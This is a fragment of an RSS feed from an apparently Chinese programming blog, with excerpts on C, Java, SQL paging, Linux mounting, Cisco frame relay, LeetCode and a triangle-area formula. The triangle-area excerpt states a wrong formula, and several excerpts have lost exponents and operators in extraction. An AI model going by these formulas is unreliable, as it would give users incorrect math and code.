      <pubDate>Mon, 17 May 2021 17:18:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/271dedec15031c2eddf589c216febcd9/</guid>
      <description>C语言里，所有变量空间都是在程序运行之初向系统申请的，包括指针，除了一些动态申请方式如malloc函数。没有申请的空间系统是不允许读写的。那么如果一个数组大小是变量定义，则在程序运行前不能确定数组大小，也就无法申请，故不允许。所以，解决的办法便是通过malloc函数，即&#xA;int a[n];&#xA;可改为&#xA;int* const a = (int*)malloc(sizeof(int)n);&#xA;这样a变量就完全可以当作一个数组直接使用了，包括a[1]之类的。因为“[]”中括号运算符做的只是偏移其内的地址数并取值。如：&#xA;a[1]&#xA;等价于&#xA;(a + 1)&#xA;而const修饰符在星号之后，则表示指针在被声明后不能改变，即只能指向这个获取的空间，完全符合数组的性质&#xA;综上所述，如果需要变量控制长度的一个数组，类似“int a[n];”的，可改成“int const a = (int)malloc(sizeof(int)*n);”并直接作为数组以[]方式使用。const可以去掉，但要保证使用时不改变a的指向&#xA;const是一个C语言(ANSI C)的关键字，具有着举足轻重的地位。它限定一个变量不允许被改变，产生静态作用。使用const在一定程度上可以提高程序的安全性和可靠性。</description>
    </item>
    <item>
      <title>java.lang.StackOverflowError: stack size 1040KB</title>
      <link>https://bchobby.github.io/posts/da34a36b587a72184174b1af3c58add7/</link>
      <pubDate>Mon, 17 May 2021 17:11:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da34a36b587a72184174b1af3c58add7/</guid>
      <description>Connection connection = DriverManager.getConnection(url,user,password);&#xA;数据库连接出现问题，&#xA;Connection connection = null; try { Class.forName(driver); //Log.i(TAG, &#34;mGetConnect: driver success&#34;); //获取连接 connection = DriverManager.getConnection(url,user,password); }catch (Exception e){ e.printStackTrace(); } //注释和上面的异常可以替换 // catch (ClassNotFoundException e){ // e.printStackTrace(); // } catch (SQLException e){ // e.printStackTrace(); // } return connection; 问题解决</description>
    </item>
    <item>
      <title>Leetcode 421. 数组中两个数的最大异或值</title>
      <link>https://bchobby.github.io/posts/bc56a04cb1e22294b1e35aa47d18f39e/</link>
      <pubDate>Mon, 17 May 2021 16:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc56a04cb1e22294b1e35aa47d18f39e/</guid>
      <description>题目 给你一个整数数组 nums ，返回 nums[i] XOR nums[j] 的最大运算结果，其中 0 ≤ i ≤ j &amp;lt; n 。&#xA;进阶：你可以在 O(n) 的时间解决这个问题吗？&#xA;示例 1：&#xA;输入：nums = [3,10,5,25,2,8] 输出：28 解释：最大运算结果是 5 XOR 25 = 28. 示例 2：&#xA;输入：nums = [0] 输出：0 示例 3：&#xA;输入：nums = [2,4] 输出：6 示例 4：&#xA;输入：nums = [8,10,2] 输出：10 示例 5：&#xA;输入：nums = [14,70,53,83,49,91,36,80,92,51,66,70] 输出：127 提示：&#xA;1 &amp;lt;= nums.length &amp;lt;= 2 * 1040 &amp;lt;= nums[i] &amp;lt;= 231 - 1 思路 最简单的方法是暴力枚举所有可能的两个数，但时间复杂度为O(n2)；</description>
    </item>
    <item>
      <title>分页</title>
      <link>https://bchobby.github.io/posts/3862626c138ce5945e0e273a1bdfbad0/</link>
      <pubDate>Mon, 17 May 2021 09:38:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3862626c138ce5945e0e273a1bdfbad0/</guid>
      <description>分页 排序 数据库支持在查询数据时进行排序&#xA;-- order by 字段名称 asc/desc select * from myuser order by id asc -- 如果有查询条件，那么排序的规则写到最后 select * from myuser where gender = 1 order by age asc asc表示升序排列（默认）&#xA;desc表示降序排列&#xA;分页 分页：分多次查询数据，每次查询一部分数据&#xA;好处：查看方便；前端性能较高&#xA;-- limit 从第几条开始查询(从0开始), 每次查询几条 select * from myuser order by id asc limit 1, 2 从第几条开始用n表示&#xA;从第几页开始用pagenum表示&#xA;每页显示的条数用pagesize表示&#xA;*n = (pagenum-1)pagesize&#xA;前端分页需要的参数是页码和每页的条数 pagenum 页码&#xA;pagesize 每页的条数&#xA;app.get(&#39;/users&#39;, function (req, res) { // 页码：第几页 const pagenum = req.</description>
    </item>
    <item>
      <title>池州学院c语言实验作业答案,池州学院实验报告3.doc</title>
      <link>https://bchobby.github.io/posts/da58e6dafbf2c80345f6da580ff36b21/</link>
      <pubDate>Mon, 17 May 2021 08:56:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da58e6dafbf2c80345f6da580ff36b21/</guid>
      <description>池州学院实验报告3&#xA;池州学院实验报告&#xA;姓 名_ 余飞 学 号 100712223 专 业 10级资环 (2)年级 大一 成绩___________&#xA;课程名称：ｃ语言程序设计 教师签字___________&#xA;实验&#xA;项目实验三 分支结构程序设计指导教师潘韵实验&#xA;目的1．学会使用逻辑表达式表示条件的方法。&#xA;2．掌握if语句三种形式的用法。&#xA;3．掌握switch语句的用法。&#xA;4．学会设计有实际价值的分支结构程序。实验&#xA;仪器计算机实&#xA;验&#xA;内&#xA;容1．简单if语句的用法。&#xA;编写调试程序：从键盘输入一个任意大小的实数x，如果x满足如下条件，则输出x及其绝对值。输出x的条件：-29.5≤x≤29.5&#xA;2．if-else语句的用法。&#xA;修改上面的程序，使得x满足-29.5≤x≤29.5时输出x及其绝对值，否则只输出x。&#xA;3．if-else if语句的用法。&#xA;编写一个能够进行加减法运算的程序，要求：从键盘任意输入两个实数，然后输入一个运算符，当运算符为“+”时对两个数进行加法运算，为“-”时对两个数进行减法运算，其他符号时，只显示输入的符号不进行运算。&#xA;4．switch语句的应用。&#xA;编写计算器程序。要求从键盘任意输入两个数值，然后输入一个四则运算符，自动完成运算后输出结果。实&#xA;验&#xA;指&#xA;导1．简单if语句的用法。&#xA;⑴ 编程分析&#xA;正确表示条件，将数学不等式-29.5≤x≤29.5表示为如下逻辑表达式：&#xA;x&amp;gt;=-29.5&amp;amp;&amp;amp;x&amp;lt;=29.5 或 (x&amp;gt;=-29.5)&amp;amp;&amp;amp;(x&amp;lt;=29.5)&#xA;也可以使用x的绝对值形式表示，如下：&#xA;fabs(x)&amp;lt;=29.5&#xA;⑵ 参考程序&#xA;⑶ 程序调试&#xA;输入数据时，至少应考虑的几种情况&#xA;① 输入满足输出条件的数，包括正数、负数、零。&#xA;② 输入不满足输出条件的数，包括正数、负数。&#xA;③ 输入数据为整数。&#xA;2．if-else语句的用法。&#xA;⑴ 编程分析&#xA;只需修改上面程序中的if语句即可。将if语句修改为如下形式：&#xA;if(x&amp;gt;=-29.5&amp;amp;&amp;amp;x&amp;lt;=29.5)&#xA;printf(&#34;x=%f\t|x|=%f\n&#34;,x,fabs(x));&#xA;else&#xA;printf(&#34;x=%f\n&#34;,x);&#xA;⑵ 参考程序&#xA;3 程序调试</description>
    </item>
    <item>
      <title>记录错误：con not perform the following tasks</title>
      <link>https://bchobby.github.io/posts/c0fd747be8723fef78e06854cb10a143/</link>
      <pubDate>Mon, 17 May 2021 08:14:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0fd747be8723fef78e06854cb10a143/</guid>
      <description>Ubuntu系统下安装软件出现报错：con not perform the following tasks@TOC&#xA;检查软件源，实在不行改为国内源。&#xA;或者等待网络再次下载。</description>
    </item>
    <item>
      <title>linux共享ntfs盘,Linux 挂载NTFS/FAT32（即 双系统下Linux访问windows磁盘）</title>
      <link>https://bchobby.github.io/posts/7df83613a0d4d4e2f28396b336e60795/</link>
      <pubDate>Mon, 17 May 2021 08:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7df83613a0d4d4e2f28396b336e60795/</guid>
      <description>以下内容为多个来源整合而成，若遇到前后软件版本不符，请无视。具体版本以符合自身Linux系统为准。&#xA;CentOS默认是不识别windows的ntfs分区的，我们使用ntfs-3g工具进行挂载。&#xA;1.&#xA;首先下载ntfs-3g：&#xA;网址：http://pkgs.repoforge.org/rpmforge-release/&#xA;说明：pmforge是一个安全而稳定的软件仓库。&#xA;LZ使用的版本是 rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm&#xA;或者自行在网上下载 ntfs-3g，用以下方法自行安装：&#xA;PS：若使用此方法，请跳过第二步。&#xA;⑴安装ntfs-3g前要先安装编译器，如果不安装gcc后面编译ntfs-3g时会失败。&#xA;# yum install gcc //安装编译器，一直按Y即可，如果不安装gcc后面编译ntfs-3g时会失败，gcc是一种用语lonux系统下编程的编译器，&#xA;# mkdir /usr/local/ntfs3g //创建文件夹ntfs3g，用于后面编译安装NTFS-3g&#xA;# cd /usr/local/src //linux下默认源代码包存放位置；源码包编译安装位置：/usr/local/软件名&#xA;⑵安装ntfs-3g&#xA;# tar zxvf ntfs-3g_ntfsprogs-2011.4.12.tgz&#xA;# cd ntfs-3g_ntfsprogs-2011.4.12&#xA;# ./configure --prefix=/usr/local/ntf3g //编译，指定安装目录/usr/local/ntf3g，可以不指定&#xA;# make&#xA;# make install&#xA;2.&#xA;安装rpmforge：&#xA;rpm -ivh rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm&#xA;安装好之后就可以直接使用yum命令安装ntfs-3g：&#xA;yum install fuse-ntfs-3g&#xA;3.&#xA;完成后查看文件系统： fdisk -l，可以根据磁盘大小区别各个分区。&#xA;在 /home/cxl/桌面/ 路径下创建文件夹wd，we，wf，分别用来挂载DEF盘，因为不必在linux系统中使用C盘，故不用挂载。(这是lz自己使用的路径，各位可以根据自己的情况在不同路径下创建不同的文件夹)(目录最好直接建在桌面，方便直接打开)&#xA;4.&#xA;使用命令挂载：&#xA;mount -t ntfs-3g /dev/sda5 /home/cxl/桌面/wd&#xA;mount -t ntfs-3g /dev/sda6 /home/cxl/桌面/we</description>
    </item>
    <item>
      <title>Vue项目之Element-UI(Breadcrumb)动态面包屑效果</title>
      <link>https://bchobby.github.io/posts/d57f735536e51f3b15402fe386ffe6df/</link>
      <pubDate>Mon, 17 May 2021 07:37:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d57f735536e51f3b15402fe386ffe6df/</guid>
      <description>效果 面包屑作用 面包屑应该是我们在项目中经常使用的一个功能，一般情况下它用来表示我们当前所处的站点位置，也可以帮助我们能够更快的回到上个层级&#xA;原始方式 最笨的方法就是在每个需要面包屑的页面中固定写好&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;example-container&#34;&amp;gt; &amp;lt;el-breadcrumb separator=&#34;/&#34;&amp;gt; &amp;lt;el-breadcrumb-item v-for=&#34;(item,index) in breadList&#34; :key=&#34;index&#34; :to=&#34;{ path: item.path }&#34; &amp;gt;{{item.name}}&amp;lt;/el-breadcrumb-item&amp;gt; &amp;lt;/el-breadcrumb&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;Example&#34;, data() { return { breadList: [{ name: &#34;首页&#34;, path: &#34;/home&#34; }, { name: &#34;系统设置&#34;, path: &#34;/setting&#34; }, { name: &#34;用户管理&#34;, path: &#34;/setting/usermanage&#34; }] }; } }; &amp;lt;/script&amp;gt; 如果按照上述方式去实行的话，虽然我们可以完成面包屑的功能，但是它不够灵活，在每个需要的页面添加，带来的维护成本是巨大的。&#xA;最主要的是你们的产品天天变需要咋办，还不累死。有人说登哥我就喜欢这么改，只有这样我才会有工作量。&#xA;好吧那当我没说，但是我劝你善良，登哥劝你一句，把那些大量重复的工作尽可能的赶紧做完，剩下的时间你才能自由安排，进行充能呀。&#xA;否则，你拿什么进步？普通的人总是喜欢抱怨没有时间，而优秀的人就是这么把时间省下来的。他们知道什么事情重要，什么事情不重要。&#xA;利用Route路由元信息 把路径结构配置在 Route meta 属性中&#xA;const router = new Router({ routes: [{ path: &#39;/example&#39;, name: &#39;example&#39;, component: Example, meta: { breadList: [{ name: &#34;</description>
    </item>
    <item>
      <title>C语言字符常量视为int类型,C语言笔记之一：字符常量integer character constant是int型...</title>
      <link>https://bchobby.github.io/posts/f99fedb038041ec95623e1a64571c842/</link>
      <pubDate>Mon, 17 May 2021 06:02:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99fedb038041ec95623e1a64571c842/</guid>
      <description>C99中的描述:&#xA;&#34;An integer character constant is a sequence of one or more multibyte characters enclosed&#xA;in single-quotes, as in &#39;x&#39;. A wide character constant is the same, except prefixed by the&#xA;letter L. With a few exceptions detailed later, the elements of the sequence are any&#xA;members of the source character set; they are mapped in an implementation-defined&#xA;manner to members of the execution character set.&#34;&#xA;&#34;An integer character constant has type int.</description>
    </item>
    <item>
      <title>leetcode每日一题—421.数组中两个数的最大异或值</title>
      <link>https://bchobby.github.io/posts/e48519a6afb871204502b96b01c96ad5/</link>
      <pubDate>Sun, 16 May 2021 21:40:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e48519a6afb871204502b96b01c96ad5/</guid>
      <description>题目：&#xA;给你一个整数数组 nums ，返回 nums[i] XOR nums[j] 的最大运算结果，其中 0 ≤ i ≤ j &amp;lt; n 。&#xA;进阶：你可以在 O(n) 的时间解决这个问题吗？&#xA;示例 1：&#xA;输入：nums = [3,10,5,25,2,8]&#xA;输出：28&#xA;解释：最大运算结果是 5 XOR 25 = 28.&#xA;示例 2：&#xA;输入：nums = [0]&#xA;输出：0&#xA;示例 3：&#xA;输入：nums = [2,4]&#xA;输出：6&#xA;示例 4：&#xA;输入：nums = [8,10,2]&#xA;输出：10&#xA;示例 5：&#xA;输入：nums = [14,70,53,83,49,91,36,80,92,51,66,70]&#xA;输出：127&#xA;提示：&#xA;1 &amp;lt;= nums.length &amp;lt;= 2 * 104&#xA;0 &amp;lt;= nums[i] &amp;lt;= 231 - 1</description>
    </item>
    <item>
      <title>思科网络设备安装与调试——帧中继云配置</title>
      <link>https://bchobby.github.io/posts/7451b7bb8dd996294af0ffb0a50e9ef1/</link>
      <pubDate>Sun, 16 May 2021 21:30:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7451b7bb8dd996294af0ffb0a50e9ef1/</guid>
      <description>文章目录 一、帧中继云是什么？二、使用步骤1.搭建网络拓扑图2.配置网络设备各端口IP地址3.配置静态路由（使目标可达）4.配置中继云5.对接中继云接口（使网络连通）6.执行ping测试（测试线路的连通性） 一、帧中继云是什么？ 解释：帧中继（FrameRelay）是一种用于连接计算机系统的面向分组的通信方法。它主要用在公共或专用网上的局域网互联以及广域网连接。大多数公共电信局都提供帧中继服务，把它作为建立高性能的虚拟广域连接的一种途径。&#xA;二、使用步骤 1.搭建网络拓扑图 网络拓扑图如下（示例）：&#xA;给路由器添加HWIC-2T模块（电源关闭状态下进行）&#xA;说明：RouterB路由器和RouterA操作相同&#xA;2.配置网络设备各端口IP地址 RouterA执行的命令：&#xA;Router&amp;gt;en&#x9;Router#conf t Enter configuration commands, one per line. End with CNTL/Z. Router(config)#int s0/0/0 Router(config-if)#clock rate 64000 Router(config-if)#ip add 192.168.1.10 255.255.255.0 添加IP地址 Router(config-if)#no shutdown 启动接口 Router(config-if)#encapsulation frame-relay 封装中继接口 Router(config-if)#frame-relay interface-dlci 101 设置中继接口号 Router(config-if)#frame-relay lmi-type ansi 设置中继接口类型 Router(config-if)#exit Router(config)#int g0/0 Router(config-if)#ip add 192.168.10.1 255.255.255.0 Router(config-if)#no shutdown Router(config-if)#end Router# %SYS-5-CONFIG_I: Configured from console by console Router#w Building configuration... [OK] RouterB执行的命令：</description>
    </item>
    <item>
      <title>浅谈java位运算</title>
      <link>https://bchobby.github.io/posts/dede63a0ff9d4132530563bc16710bff/</link>
      <pubDate>Sun, 16 May 2021 21:24:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dede63a0ff9d4132530563bc16710bff/</guid>
      <description>文章目录 前言一、位运算的分类与展现效果二、原理三、边界值测试四、总结 前言 最近接触到了java位运算，之前对位运算的了解仅仅停留在表现结果上：乘2除以2，对背后的原理并不了解，现在学习记录一下。&#xA;一、位运算的分类与展现效果 java位运算可以分为左移和右移，其中右移还有无符号右移。&#xA;java只对整型位移，可以分为int体系和long体系。int体系包括（byte, short, int, char），long体系只包含long。int体系中进行位运算时，除int类型外都会先转换为int再进行运算。.&#xA;无符号右移指的是，向右移动时，左边补位的是0。&#xA;一般来说，右移左移常用作乘2n 或者除以2n。（右移除以2n，左移乘以2n）&#xA;int i1 = 4; int r1 = i1 &amp;gt;&amp;gt; 2; // 除以2^2 int r2 = i1 &amp;lt;&amp;lt; 2; // 乘以2^2 System.out.println(r1); // 1 System.out.println(r2); // 16 二、原理 位运算实际上是将数值对应的二进制进行左右位移操作。java中数值的存储、运算是以补码的形式进行的。数值有三种存储方式：原码、反码、补码。&#xA;原码的最高位为符号位（0为正数，1为负数），其余位用于存储数值，以8位整型为例，2对应：&#xA;0000 0010 -2对应：&#xA;1000 0010 反码和补码的正数都与原码相同。反码的负数在原码的基础上进行，除符号位外，其余按位取反。例如2的反码为：&#xA;0000 0010(正数不变) -2的反码为：&#xA;1111 1101 补码在反码的基础上进行，反码加1就变成补码。&#xA;2：&#xA;0000 0010(正数不变) -2为：&#xA;1111 1110 8位整型，反码可以表示的范围为：[-128,127]&#xA;-128的反码表示为：&#xA;1000 0000 可以理解为：&#xA;1 1000 0000(原) =&amp;gt; 1 0111 1111(反) =&amp;gt; 1 1000 0000(补) =&amp;gt; 1000 0000(补) （查看了一些解释，-128的补码规定为1000 0000，若不理解，可以先跳过。）</description>
    </item>
    <item>
      <title>JVM-3-实战制造OOM</title>
      <link>https://bchobby.github.io/posts/ffd7be7380d8e84be6e67729c2f069cf/</link>
      <pubDate>Sun, 16 May 2021 18:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffd7be7380d8e84be6e67729c2f069cf/</guid>
      <description>读者朋友，下午好。&#xA;这里从JVM的堆、栈、方法区(常量池)、本机直接内存四个维度分别制造OOM-Out Of Memory。&#xA;目的：&#xA;1、怎样的操作会导致在指定区域发生OOM？或者StackOverFlow?&#xA;2、出现这种情况时候如何分析？如何解决。(不是重点，后面学习了各种检测工具之后回头思考)&#xA;以下代码示例均来自：&#xA;《深入理解Java虚拟机 JVM高级特性与最佳实践》 周志明著 第三版&#xA;机械工业出版社&#xA;1、堆溢出 要使堆溢出，只需要创建大量对象即可，并且保证对象在使用。&#xA;package com.cmh.concurrent.jvm; import java.util.ArrayList; import java.util.List; /** * Author: 起舞的日子 * Date:2021/5/15 3:33 下午 * &amp;lt;p&amp;gt; * VM Args: -Xms20m -Xmx20m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/Users/hmc/myjvm */ public class HeapOOM { static class OOMObject { } public static void main(String[] args) { List&amp;lt;OOMObject&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); while (true) { list.add(new OOMObject()); } } } 报错信息：&#xA;java.lang.OutOfMemoryError: Java heap space Dumping heap to /Users/hmc/myjvm/java_pid5636.</description>
    </item>
    <item>
      <title>xmanager登陆linux黑屏,用xmanager软件登陆linux的方法</title>
      <link>https://bchobby.github.io/posts/3236159f0e27116c102eab09d4cbc31d/</link>
      <pubDate>Sun, 16 May 2021 17:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3236159f0e27116c102eab09d4cbc31d/</guid>
      <description>用xmanager连接Linux的配置步骤:1、在Linux系统下，修改/etc/X11/xdm/Xaccess文件，找到下面的语句：&#xA;# * #any host can get a login window&#xA;去掉最前面的#号，成为&#xA;* #any host can get a login window&#xA;2、修改/etc/X11/gdm/gdm.conf文件，找到下面的语句：&#xA;[xdmcp]&#xA;Enable＝false&#xA;将其中的Enable＝false 改为Enable＝true 或 Enable＝1。&#xA;同时我们要确保存在下面的语句存在：Port=177&#xA;3、修改/etc/inittab文件，将下面的语句&#xA;id:3:initdefault&#xA;改为如下，如果原来就是，就不用更改。id:5:initdefault&#xA;同时，找到如下文字所在的地方，&#xA;x:5:respawn:/etc/X11/prefdm -nodaemon&#xA;将它修改为x:5:respawn:/usr/bin/gdm&#xA;4、修改/etc/X11/xdm/xdm-config的最后一行，在displayManager.requestPort:0前面加上一个！号，结果如下:&#xA;!DisplayManager.requestPort: 0&#xA;5、确保/etc/X11/xdm/Xservers的属性为444，/etc/X11/xdm/Xsetup_0的属性为755.&#xA;6、如果Linux机器配置有防火墙，为防止防火墙将通过177端口(即xdmcp服务)的数据过虑，我们必须加上如下的规则：&#xA;iptables -A INPUT -p udp -s 0/0 -d 0/0 --dport 177 -j ACCEPT&#xA;至此为止，我们在Linux下的配置xdm已经基本完成。重启服务器后，在xbrowser的address栏中输入Linux服务器的IP地址就可以登录了。</description>
    </item>
    <item>
      <title>三角形面积公式用坐标用c语言,通过三个点的坐标求出三角形面积的公式</title>
      <link>https://bchobby.github.io/posts/152f59537146f9499ee4660681c9b23c/</link>
      <pubDate>Sun, 16 May 2021 16:04:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/152f59537146f9499ee4660681c9b23c/</guid>
      <description>当三个点A、B、C的坐标分别为A(x1，y1)、B(x2，y2)、C(x3、y3)时，三角形面积为，&#xA;S=(x1y2-x1y3+x2y3-x2y1+x3y1-x2y2)。&#xA;解：设三个点A、B、C的坐标分别为A(x1，y1)、B(x2，y2)、C(x3、y3)。&#xA;那么A、B、C三点可围成一个三角形。&#xA;AC与AB边的夹角为∠A。&#xA;那么向量AB=(x2-x1，y2-y1)、向量AC=(x3-x1，y3-y1)。&#xA;令向量AB=a，向量AC=b，&#xA;则根据向量运算法则可得，&#xA;|a·b|=|a|·|b|·|cosA|，&#xA;那么cosA=|a·b|/(|a|·|b|)，则sinA=√((|a|·|b|)^2-(|a·b|)^2)/(|a|·|b|)。&#xA;那么三角形的面积S=|a|·|b|·sinA=√((|a|·|b|)^2-(|a·b|)^2)&#xA;又a·b=(x2-x1)*(x3-x1)+(y2-y1)*(y3-y1)，&#xA;那么可得三角形的面积S=(x1y2-x1y3+x2y3-x2y1+x3y1-x2y2)。&#xA;扩展资料：&#xA;1、向量的运算&#xA;对于向量a=(x1,y1)，b=(x2,y2)，c(x3,y3)则向量的运算法则如下。&#xA;(1)数量积&#xA;对于向量a=(x1,y1)，b=(x2,y2)，且a，b之间的夹角为A，那么&#xA;a·b=b·a、(λa)·b=λ(a·b)、(a+b)·c=a·c+b·c。&#xA;a·b=|a|·|b|·cosA，&#xA;(2)向量的加法&#xA;a+b=b+a、(a+b)+c=a+(b+c)&#xA;(3)向量的减法&#xA;a+(-b)=a-b&#xA;2、正弦定理应用&#xA;在任意△ABC中，角A、B、C所对的边长分别为a、b、c，&#xA;那么a/sinA=b/sinB=c/sinC。&#xA;且三角形面积S=1/2absinC=1/2acsinB=1/2bcsinA。&#xA;参考资料来源：百度百科-向量&#xA;参考资料来源：百度百科-正弦定理</description>
    </item>
    <item>
      <title>Caused by: java.lang.ClassNotFoundException: com.netflix.config.DeploymentContext$ContextKey</title>
      <link>https://bchobby.github.io/posts/440b64165fdfb1721af8491b395980df/</link>
      <pubDate>Sun, 16 May 2021 14:53:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/440b64165fdfb1721af8491b395980df/</guid>
      <description>Caused by: java.lang.ClassNotFoundException: com.netflix.config.DeploymentContext$ContextKey&#xA;我实在完成cloud2020.0.0的断路器聚合监控Turbine和hystrix是报错，不要一上来就想着换版本，多试试说不定就ok了，曾经有个问题搞了我两天，我就是不换版本，最后终于赵到问题所在了。&#xA;错误信息：&#xA;Error starting ApplicationContext. To display the conditions report re-run your application with &#39;debug&#39; enabled. 2021-05-16 14:42:42.721 ERROR 3632 --- [ main] o.s.boot.SpringApplication : Application run failed org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name &#39;org.springframework.cloud.netflix.archaius.ArchaiusAutoConfiguration&#39;: Unsatisfied dependency expressed through field &#39;externalConfigurations&#39;; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name &#39;configurableEnvironmentConfiguration&#39; defined in class path resource [org/springframework/cloud/netflix/archaius/ArchaiusAutoConfiguration.class]: Bean instantiation via factory method failed; nested exception is org.</description>
    </item>
    <item>
      <title>pyspark graphdataframes踩坑记</title>
      <link>https://bchobby.github.io/posts/f944d6b02d52d08e4accb66e60bcb254/</link>
      <pubDate>Sun, 16 May 2021 11:08:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f944d6b02d52d08e4accb66e60bcb254/</guid>
      <description>pyspark 使用graphdataframes踩坑记 报错ModuleNotFoundError: No module named &#39;graphframes&#39;接着报错java.lang.ClassNotFoundException: org.graphframes.GraphFramePythonAPI官方网链接无法下载graphframes-xxx.jar包如果运行时报错java.lang.ClassNotFoundException: com.typesafe.scalalogging.slf4j.LazyLogging如果运行时再报错java.lang.ClassNotFoundException: com.typesafe.scalalogging注意下载的小版本号要一致，否则会有问题。 pyspark 没有集成graphX包，只能使用第三方的graph打他frames，虽然完全具备graphx的功能，但是第一次进行安装，很容易踩坑。笔者踩坑1-2天，终于爬了起来！ 报错ModuleNotFoundError: No module named ‘graphframes’ ModuleNotFoundError Traceback (most recent call last)&#xA;in 1 from pyspark.sql import SparkSession&#xA;2 from pyspark.sql import SQLContext&#xA;----&amp;gt; 3 from graphframes import *&#xA;4 from pyspark.sql.types import *&#xA;5&#xA;ModuleNotFoundError: No module named ‘graphframes’&#xA;解决办法:下载与spark版本一致的graphdataframes源码包&#xA;放到python所在的site-packages目录下&#xA;下载网址：&#xA;https://spark-packages.org/package/graphframes/graphframes&#xA;选择zip下载，注意必须要跟spark的版本号一致。下载后解压，把pyhon目录下的整个包拷贝到python解释器下的lib-&amp;gt;site-packages(替换成你本机的python所在路径)&#xA;接着报错java.lang.ClassNotFoundException: org.graphframes.GraphFramePythonAPI 因为缺少graphframes-xxx.jar包，下载jar包&#xA;官方网链接无法下载graphframes-xxx.jar包 无论使用mvn下载，还是使用repo搜索都无法下载所需要的jar包。踩坑了很久，最后竟然是下载jar包的网站http://dl.bintray.com/关闭，而官方的网站jar包下载链接没有更新。所以从这个https://repos.spark-packages.org/网址下载成功。参照如下的格式修改所需要下载的版本号即可。&#xA;http://dl.bintray.com/spark-packages/maven/graphframes/graphframes/0.7.0-spark2.4-s_2.11/graphframes-0.7.0-spark2.4-s_2.11.jar&#xA;由于http://dl.bintray.com/网站已经关闭，但是官网的jar下载链接还没有更新。需要修改下载路径为：&#xA;https://repos.spark-packages.org/graphframes/graphframes/0.7.0-spark2.4-s_2.11/graphframes-0.7.0-spark2.4-s_2.11.jar&#xA;jar包加载的方法：&#xA;可以通过pyspark --jars 方式加载，也可以拷贝到pyspark目录下，重启pyspark。&#xA;笔者采用第二种方法</description>
    </item>
    <item>
      <title>LeetCode刷题日记2021-5-16/421. 数组中两个数的最大异或值/二叉树</title>
      <link>https://bchobby.github.io/posts/95341383df1fa3297b2f6292dd768366/</link>
      <pubDate>Sun, 16 May 2021 10:02:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95341383df1fa3297b2f6292dd768366/</guid>
      <description>仅供自己学习记录&#xA;LeetCode刷题日记2021-5-16 题目描述&#xA;给你一个整数数组 nums ，返回 nums[i] XOR nums[j] 的最大运算结果，其中 0 ≤ i ≤ j &amp;lt; n 。&#xA;**进阶：**你可以在 O(n) 的时间解决这个问题吗？&#xA;示例 1：&#xA;输入：nums = [3,10,5,25,2,8] 输出：28 解释：最大运算结果是 5 XOR 25 = 28. 示例 2：&#xA;输入：nums = [0] 输出：0 示例 3：&#xA;输入：nums = [2,4] 输出：6 示例 4：&#xA;输入：nums = [8,10,2] 输出：10 示例 5：&#xA;输入：nums = [14,70,53,83,49,91,36,80,92,51,66,70] 输出：127 提示：&#xA;1 &amp;lt;= nums.length &amp;lt;= 2 * 10^40 &amp;lt;= nums[i] &amp;lt;= 2^31 - 1 题解思路</description>
    </item>
    <item>
      <title>字母三角形c语言字母不重复,c语言实践 打印字母三角形</title>
      <link>https://bchobby.github.io/posts/fc83e6684f77d9120d92e4466dcbe209/</link>
      <pubDate>Sun, 16 May 2021 02:54:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc83e6684f77d9120d92e4466dcbe209/</guid>
      <description>效果如下：&#xA;我是怎么想的：&#xA;总共需要打印6行字母，那么就需要一个循环来控制打印第几行，大概代码如下：&#xA;for(int i=0;i&amp;lt;6;i++)&#xA;{&#xA;}&#xA;每行都会打印字母，而且循环越往后，需要打印的字母越多，那么每行打印字母也需要一个循环，比如打印F到A这需要一个循环，其它也是同样的道理。每行打印完都需要输出一个换行，所以代码变成下面这样&#xA;for(int i=0;i&amp;lt;6;i++)&#xA;{&#xA;for(char j=&#39;F&#39;;XXXXX;j--)&#xA;{&#xA;}&#xA;printf(&#34;%c&#34;,j);&#xA;}&#xA;因为每行都是从F开始打印的，所以j的初始值肯定是F，有因为每次是从F往A这个方向打印的，那么肯定有j--这个操作，上面的代码不难理解。&#xA;真正难的是j=‘F’后面这个进入循环的条件，这个怎么想。&#xA;用列举法推出来的。&#xA;当i=0的时候，需要打印第一行字母，此时j=&#39;F&#39;,那么我们给j一个什么样的关系表达式，才能够让j只能取到&#39;F&#39;这一个值呢？&#xA;是不是j&amp;gt;&#39;F&#39;-1&#xA;char j=&#39;F&#39;,j&amp;gt;&#39;F&#39;-1;j-- j的定义域只能取到‘F’&#xA;当i=1的时候，需要打印第二行字母，也就是需要里面的循环执行两次，那么给j一个什么样的表达式，才能够让j的值渠道&#39;F&#39;和‘E’呢？ 